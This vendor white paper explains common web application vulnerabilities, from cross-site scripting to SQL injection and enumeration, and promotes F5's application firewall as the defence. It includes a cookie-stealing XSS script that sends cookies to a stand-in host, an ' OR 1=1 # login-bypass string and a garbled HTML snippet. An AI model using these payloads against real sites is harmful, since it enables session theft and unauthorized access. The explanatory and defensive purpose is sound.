Web Application Vulnerabilities and Avoiding Application Exposure

The introduction of BIG-IP® Application Security Manager (ASM) version 9.4.2 marks a major step forward. BIG-IP ASM now offers more features that are easier to use than prior versions, enabling more granular inspection and policy specification, and helping to maintain its position at the vanguard of Web Application Firewalls (WAFs).

In truth, BIG-IP ASM version 9.4.2 is more than just a WAF. This version of BIG-IP ASM moves toward the concept of Application Delivery Security, enabling any back-end application—not just traditional web applications like most WAFs do currently—to benefit from its protection. Much like the other products in the BIG-IP line, BIG-IP ASM is part of an end-to-end strategy that integrates security into a high-performance application delivery structure. Security is not about the *way* communication occurs with the client, it's about the *data* that goes to the client.

The Application Delivery Security offered by BIG-IP ASM puts the focus on the data itself, regardless of the application that's delivering it. Thanks to the power of TMOS, the Real Traffic Policy Builder, and, as detailed below, the new XML Firewall features, BIG-IP ASM goes beyond being a traditional WAF and creates a more holistic view of application security[i].

More directly, if it's layer 4-7 traffic, it's an application and BIG-IP ASM can do something to protect it.

Challenge

Many of the most dangerous security holes in corporate IT infrastructure are based not on worms or viruses, and not on known vulnerabilities in application servers, but on vulnerabilities in the *applications themselves*. These vulnerabilities—unique to each application—leave companies' web infrastructures exposed to attacks such as cross-site scripting, SQL injections, and cookie poisoning. OWASP (Open Web Application Security Project) has produced an excellent list of some of these types of vulnerabilities, which they call their "Top Ten Application Vulnerabilities" (a list can be found at www.owasp.org). Hackers often exploit these application vulnerabilities to extract sensitive data from corporate databases.

The root cause of most of today's application vulnerabilities is their heritage; most of today's web applications were developed and tested in a client-server paradigm, then ported to the web—often hastily—in the late 1990s. In order to understand the fundamental problem this created (and steps that can be taken to mitigate it) it is important to understand the differences between today's web applications and traditional client-server architectures.

Move to the Web

Client-server is an environment in which a server application and client application are written to work together. The process of developing and testing client-server applications was modified, optimized and refined for years, resulting in very robust applications. Deploying and maintaining client-server applications, however, remained very expensive; clients have to be tested on multiple operating systems, installed on every client machine, and re-installed every time there is a minor version change of the software. The cost of deploying new applications or maintaining existing ones for large numbers of users has become unmanageable.

To save money on deployment and maintenance, businesses are moving their applications to the web, where one part of the client is standard (the browser) and the other part is downloaded automatically every time a user invokes an application. Deployment is now free and clients are now platform-independent.

Key Differences between Client-Server and Web

Fundamental differences between web applications and client-server applications open enterprises to significant risks when they move to the web. These risks become apparent when one looks at the specific ways in which the two types of applications differ.

These key differences between client-server applications and web applications are:

1. ***Heavy Client vs. Browser***
   The heavy, purpose-built clients used in client-server applications are difficult to reverse-engineer, so it's difficult for a hacker to modify input to the server. Browsers, however, are very easy to manipulate. The source of the client side application is available to anyone accessing the web page, and easy to change. (Users can simply go to "View Source" under the Source menu of Internet Explorer, change the code, and then reload the page.) To improve server performance, reduce traffic on the network, and enhance the user experience, client-server applications perform a lot of data validation on the client side. Web servers try to utilize the browser's capabilities (HTML and JavaScript) to perform data validation on the client, but HTML can be changed and JavaScript can be disabled.

These differences expose web applications to attacks such as Buffer Overflow and Cross Site Scripting.

2. **One Program vs. Many Scripts**
   In client-server there is usually one program that is communicating with a client. In the web environment there are multiple scripts, running on many web servers, with many different entry points. In client-server, the flow of the user interaction within the application is usually controlled by the client (certain buttons could be disabled, some screens made unavailable). Furthermore, in client-server, users always have to log in before gaining access to the application. The web client, however, is not designed to maintain flow so it is very difficult to enforce behavior from the web server.

This difference leaves applications vulnerable to attacks, such as Forceful Browsing.

3. **State vs. No State**
   In the client-server environment, a “session” is maintained between each user and a server; once a user logs into the application, an unbroken connection feeds appropriate information to the user. In web environments there is no session; users request a page and then disappear from the server's view until another page is requested. In order to keep track of users on the web, developers must leave something in the browser that identifies the user, and the types of information they can request. Hackers can change this information, and therefore their identity and privileges.

This difference leaves applications vulnerable to attacks such as Cookie Poisoning, Hidden Field Manipulation, parameter tampering, and SQL injection.

4. **Hundreds of Users vs. Millions of Users**
   Application servers built for the client-server environment were designed to handle hundreds of users. Web servers frequently handle millions of users. Hackers can exploit this difference to overload the servers, often exposing the raw data behind them.

This leaves web applications vulnerable to enumeration attacks.

The remainder of this paper will explore techniques hackers can use to exploit these differences in technology. We will walk through simple examples of each threat, illustrating how easy it can be to turn an enterprise's application into a door to that exposes internal systems.

Heavy Client vs. Browser

Heavy, purpose-built clients are difficult to reverse-engineer in order to modify input into servers. Browsers, by contrast, are very easy to trick. This introduces attacks such as Buffer Overflow and Cross-site Scripting.

Buffer Overflow

Buffer Overflow is an attack that overruns the memory allocated to interpret a given parameter in an application. For instance, an application might always be expecting a ten-digit phone number in a certain field, and therefore the developers will only allocate enough memory to deal with those ten digits. If hundreds of digits are entered, the server application will eat into memory allocated to different tasks, often compromising the entire application. This can result in a core dump, which reveals information about the memory of the web server (previous transaction, SSL private key information, database information, and so on).

Buffer overflows can also go through the server and be passed on deeper into the infrastructure, compromising application servers or databases. Even more threatening, a hacker who disables the application in this way could upload code to be executed by the server. Viruses such as Code Red, Slammer, and others are results of a buffer overflow attack.

To avoid buffer overflow, developers typically use HTML and JavaScript to limit how many characters could be submitted as input. However, an attacker can change HTML and turn off JavaScript and then submit a buffer overflow attack. In order to properly protect the application against buffer overflow attack, all input from the client has to be carefully checked on the server; alternatively an application firewall or application security gateway could be installed to scan out requests with abnormal length.

Cross-Site Scripting

Cross-site scripting utilizes the fact that every browser works the same way, and usually has JavaScript enabled. JavaScript is code that is downloaded into a user's browser. Contrary to popular belief, JavaScript is a powerful tool and it has access to confidential information. Malicious JavaScript, for example, could take a customer's personal cookie and email it to a hacker or send it to a remote database.

The most common place to execute a cross-site scripting attack is a bulletin board or auction posting, where users can submit comments to be viewed by other users. On these sites, malicious JavaScript could be submitted instead of harmless text. For instance, a user could fill out an auction for an item and, at the bottom of their description of the item, could include the following JavaScript:

```
<script language="javascript">
document.write('<img src=http://localhost/?url=' + document.location + '&cookie=' +
document.cookie + '>'); </script>
```

This script inserts HTML into the page that looks like a regular HTML image tag, but includes the current user's cookie value on the image request. Any other user viewing this auction item in the future will now send their cookie information to a web server of the hacker's choosing. Here we simply have "localhost" as the hostname of the web server, but a hacker could use the hostname of a real server on the Internet. The hacker could then use this cookie to steal the identity of users by impersonating them on various web sites.

Cross-site scripting is an easy attack to protect against, in theory. Every server should monitor input for malicious characters such as "<SCRIPT>" (since every JavaScript will have this keyword) and not let them through where it is not allowed. In practice, however, it is very difficult to monitor every parameter of every script in the application.

To save money on redevelopment and retesting of all web applications, companies have tried to install network devices that would monitor for malicious characters. But these devices generate a lot of false negatives because they do not understand where these strings might be allowed. Only an application firewall or application security gateway with a granular policy could block invalid requests and allow valid requests through without generating any false positives or false negatives.

One Program vs. Many Scripts

In a client-server application there is usually one program that is communicating with a client, where as in the web environment there are multiple scripts with many different entry points. Because there are many scripts and files, a hacker can often enter these scripts or files out of order and get to information he should not be allowed to see.

In other words, users can jump directly to parts of a web application which they should not be able to access. The popularization of the Google search engine has made this problem acute, since the Google technology can often find (and create public links to) interior pages of web sites which should only be accessed after passing through authentication pages. Users bookmarking pages present a similar problem. This is called "Broken Access Control" or "Forceful Browsing."

A simple example of forceful browsing might just involve skipping over a registration page to get to the pages behind it. For instance, a user might see the URL:
http://www.example.com/public

And simply make an educated guess about where the non-public part of the web site is, typing in:
http://www.example.com/private

or perhaps
http://www.example.com/restricted

and thereby bypass authentication or login screens that were supposed to segregate that portion of the application. This is an extremely simple example, of course. Let's look at a more subtle example of forceful browsing.

An example is that of a user registration form, in this case for an auction site. A regular user of this web application would use this page to register.

If we look at the source of this page we will notice some comments left by developers and not taken out for production (a common but dangerous practice). These comments identify a file on the web server that contains information about all users that have registered since midnight.

Problems such as this one are very difficult to solve. Obviously, code should be reviewed for developer comments, but knowledgeable hackers (or former employees) often know where to look without them. One way to solve this problem is to install an application firewall that contains a list of every object that is accessible by users, and blocks requests to all other objects.

State vs. No State

In a client-server environment a session is maintained between each user and a server. This proved to be a very effective way to keep track of a user's so-called “state” within the application (that is, where the user is coming from and going to). Web protocols (HTTP and HTTPS) do not have sessions; they are designed to be stateless to save computational resources. Once a server sends a page, it moves on to the next request. When building web applications, developers have to find a different way to track user's state.

The tools web developers typically use to track state are cookies, dynamic links, and dynamic parameters. In order to understand how malicious users manipulate these tools, it is necessary to understand how they are designed to work.

Cookie Poisoning Attack

Cookies are heavily used by most web applications to simulate a stateful experience for the end user. Cookies are used as identity for the server-side components of an application. Cookie poisoning is an attack which alters the value of a cookie on the client side prior to a request to the server.

With any response, a web server can send a "Set Cookie:" command and provide a string (that is, a cookie). Cookies are stored on a user's computer and are a standard way of recognizing users, from the "welcome back!" message on Amazon to the page-by-page sense of state in web applications. Once a cookie is set, all subsequent requests will send that cookie to the web server. Cookies can be analyzed and modified by JavaScript on a web page to provide further functionality to the application.

Malicious users could also change cookies by either using an interception proxy or directly modifying a file on a hard drive to falsify identity, bypassing authentication/authorization mechanisms. This is called a cookie poisoning attack.

Take, for example, a user login screen. A user types a username and password and the application assigns a cookie. From then on, the application will know who the user is by looking into the cookie.

A Cookie Poisoning Attack is a widely popular attack and can be successfully implemented against many web sites. One way to prevent this attack is to digitally encrypt and sign every cookie by the web server. Although this is a relatively easy way to fix a cookie-poisoning problem, code has to be added in every instance where cookies are used, and a patient hacker can often find lapses in developer vigilance.

There are still many web sites that are vulnerable to this attack. Modifying current applications to use encrypted cookies is a considerable expenditure of time and resources. Alternatively, an application firewall could digitally sign all cookies and then verify and take the signature off before the request is presented to the web server.

Dynamic Parameter Tampering

Another way to maintain state in a web application is a dynamic link or field. We see dynamic links all the time. For instance, running a web search for the term "Traffic Shield" may return a page with links to more results at the bottom that look like this:

1 2 3 4 5 6

The HTML that makes up those links may look like this:

http://search.example.com/search.cgi?query=traffic+shield&step=1
http://search.example.com/search.cgi?query=traffic+shield&step=2
http://search.example.com/search.cgi?query=traffic+shield&step=3
http://search.example.com/search.cgi?query=traffic+shield&step=4
http://search.example.com/search.cgi?query=traffic+shield&step=5
http://search.example.com/search.cgi?query=traffic+shield&step=6

Note that these links were generated specifically for this page, and in fact have a unique query which is being run on the databases behind the application every time one link is clicked. Similar navigation techniques are used in ecommerce applications. For example, a dynamic link "Your Control Panel" takes a user to see private data.

When users click on the link, they are sent a page that contains a URL with a parameter "user" and a difficult-to-understand string as a value. This string is an index into a database for a currently logged-in user. One can imagine that there is an SQL statement that a script runs on the server that looks something like this:

SELECT … WHERE USERID="a string qualified in a dynamic parameter"

It is common that the script receiving a dynamic parameter does no data validation. There does not seem to be an obvious reason to perform data validation since information is supplied by the script itself and not by the user. QA very rarely tests input into this parameter. However, if a hacker were to replace this parameter value with another user ID, they might get another user's information. If the hacker were to assume that the URL was being used to run a SQL statement, he or she might substitute a wild card character "*", and actually get information for every user in the database.

Obviously, other queries could be run on the database using the same technique. You could run an insert or an update statement, or even upload a stored procedure.

SQL Injection

As with most web application vulnerabilities, SQL injection exploits knowledge or educated guesses about the server-side technology driving the application. SQL injection is an exploit in which an attacker inserts SQL commands into form or parameter values rather than legitimate data. Since most applications simply translate the form data into a SQL query to the application's database, this activity can expose and cause unintended behavior by the application.

Inserting the "*" in the example above was a very simple form of an SQL injection. Hackers assumed that the application was making a query to a SQL database and put in a SQL command instead of a legitimate request.

A more sophisticated SQL command could be used to bypass application logins. For example, consider a web application with a simple username/password login screen.

In the field for user name, rather than entering a real value, hackers might try the following:

' OR 1=1 #

The web server is expecting a value such as "jsmith" and will in turn send a SQL query to the database such as:

SELECT * FROM users WHERE username = 'jsmith' AND [some other condition]

In our example, it will instead execute:

SELECT * FROM users WHERE username = '' OR 1=1 # AND [some other condition]

The “#” comments out the rest of the SQL command, and in turn the result of the SQL query is "SELECT * FROM users." In the case of a login command, this will generally let you log in as the first user in the user table (or some other unexpected behavior).

Hidden Field Manipulation

Yet another way to keep state in the application is by use of hidden fields. A hidden field is a type of dynamic field that is placed in the HTML form, but hidden, using a keyword "hidden." For instance, in the form where you put in your credit card number to purchase a book, there might be hidden fields that contain book inventory index and a price. Hidden fields are used my most ecommerce applications to hold authorization and transaction related data.

We are now going to look at the example of electronic shoplifting using hidden field manipulation. On the page below, users can buy a digital camera for $40, but anyone can change this page or simply intercept the request and modify the values. We have, for example, identified the dynamic field where the application developers have set the price of the camera.

The price of the item is visible on the page If you were to view the source in the source window, you'd see the following snippet from the source code:

```
EBEB">

er valign=top>
id action = "buy.php" method=get> I
          <input  type="Hidden"  name = "price" value = "40.00 USD"<
          <input  type="Hidden"  name = "product" value = "Brand new
iPod Mini">

=Tahoma, Verdana, Arial
                    SIZE=2
                    COLOR=##006633>Buy it now!
```

This type of attack has proven to be successful against many commercial web applications. Hidden Fields are not just used by retail applications; it is common to use it to pass the following types of data:

- Access control information (changing to manager, administrator, external user, and so on)
- Account information (username, account number, address)
- Steps of the wizard (in some cases you never get to step five, unless you filled important details in step four. Manipulating hidden data in this case would enable you to circumvent the designed flow).

There are two ways to protect applications against hidden field manipulation attacks:

- Redesign every application so that all dynamic information is placed into an encrypted cookie; a more secure but much more complex way to manage the information.
- Install an application firewall to monitor traffic and make sure that dynamic parameters sent to the web browser do not change when they come back to the web server.

Hundreds of Users vs. Millions of Users

Moving applications from the hands of hundreds of users to millions can be an exciting way to expand markets and save resources at the same time. For instance, online banking has greatly automated many banking processes and provided a new service to customers, but it has also exposed banks to new threats. Let's look at the following example.

Enumeration Attack

This bank uses the web to allow customers to view their account detail and pay bills online. They use the Social Security number for username and a four-digit ATM PIN for a secret password.

This kind of protection against password enumeration works well for client-server applications. On the web, however, an attack can be created where a hacker could write a script that would use one Social Security number after another, and just try one pin for each Social Security number. If a hacker uses Social Security numbers of people living in the bank's area (and a common password like "123456" or "PASSWORD") the script will be able to get at least one account in a matter of hours; in a matter of days the hacker will get accounts of all of the bank's customers.

This is an example of an enumeration attack. This attack utilizes numbers of users that are using the system; some applications in today's world have millions of customers (eBay, Yahoo, PayPal). Usernames in some cases are either known or easy to guess, and passwords have low entropy, meaning that there are relatively few possible combinations.

To solve this problem, the application could be redesigned to monitor access to the login page, and when that access is abnormally high, penalize users by extending response time to everyone. Alternatively, an external device such as an application firewall could monitor this information, and watch for abnormal behavior.

Conclusion

Web applications reach out to a larger, less-trusted user base than legacy client-server applications, and yet they are more vulnerable to attacks. Many companies are starting to take initiatives to prevent these types of break-ins. Code reviews, extensive penetration testing, and intrusion detection systems are just a few ways that companies are battling a growing problem. Unfortunately, most of the solutions available today are using negative security logic (working with a list of attacks and trying to prevent against them). Negative security logic solutions can prevent known, generalized attacks, but are ineffective against the kind of targeted, malicious hacker activity outlined in this paper. F5 Networks has developed a proactive, positive security solution for the growing problem of web application vulnerabilities called Application Security Manager. For more information on this solution, visit http://www.f5.com/products/security.html.

[i] For additional information on TMOS, the Real-Time Policy Builder, and other aspects of BIG-IP ASM's architecture, please visit www.f5.com.